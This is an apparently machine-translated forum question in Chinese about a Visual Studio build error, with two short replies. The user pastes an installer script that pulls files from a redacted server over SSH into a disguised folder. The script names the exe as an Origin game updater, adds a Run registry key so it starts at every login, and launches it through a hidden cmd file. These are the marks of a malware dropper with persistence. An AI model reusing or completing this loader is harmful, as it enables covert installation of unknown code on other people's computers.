我的问题非常奇怪,我对它为什么会这样做有0个想法。 所以,当我尝试运行在Visual C#中的第二次我的控制台应用程序,它说C#无法构建项目
无法复制文件“OBJ \调试\ OriginGameUpdaterService.exe”到” .. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe“。访问路径'.. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe'被拒绝。
那么我做了什么,我必须在每次运行它时更改生成设置中的生成输出路径。这不是唯一的事情。一旦exe文件夹中,我不能删除文件夹和应用程序。当我尝试我有一个Windows消息,说我需要Julien-PC/Julien权利来执行此操作(我是Julien会话的管理员)。
它真的很奇怪,因为我无法做任何事情...我做了一个Python脚本,安装在他的DLL文件的exe文件,但它不工作,由于该错误...
(这里是我的installation.py脚本)
#!/usr/bin/python
import subprocess;
import paramiko;
import getpass;
import os.path;
import winreg;
print("Connecting to server.");
user = getpass.getuser()
ssh = paramiko.SSHClient();
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.load_system_host_keys();
ssh.connect("********", 22, "*******", "*********");
# ouverture des transferts de fichiers avec le ssh
sftp = ssh.open_sftp();
print("Connexion successed.");
REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
def set_reg(name, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
return True
except WindowsError:
return False
print("Creating directory.");
path = "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s"
os.makedirs(path, exist_ok=True)
for i in sftp.listdir("/home/dll"):
print("Downloading " + i);
sftp.get("/home/dll/" + i, "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/" + i);
set_reg("OriginGameUpdaterService", "\"C:\\Users\\" + user + "\\AppData\\Local\\Origin\\Windows\\Win32X\\Shell\\s\\OriginGameUpdaterService.exe\"");
if(os.path.exists("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/OriginGameUpdaterService.exe")):
exit(0)
print("Creating startup *.cmd file.");
file = open("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd","w")
file.write("cd C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s\n")
file.write("start OriginGameUpdaterService.exe")
file.close()
print("Starting exe");
subprocess.Popen("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);
print("Installation complete.")
如果有人只能帮助我,我知道这是很难理解我的问题,这是我很难解释它。 其他人一个论坛,我看到有人有类似的问题,他改变了他的AssemblyVersion 2.0。*所以这就是我所做的,它仍然是相同的问题
您确定启动后进程是否正确终止? – jAC
你可以尝试右键点击visual studio图标并以管理员身份运行吗? –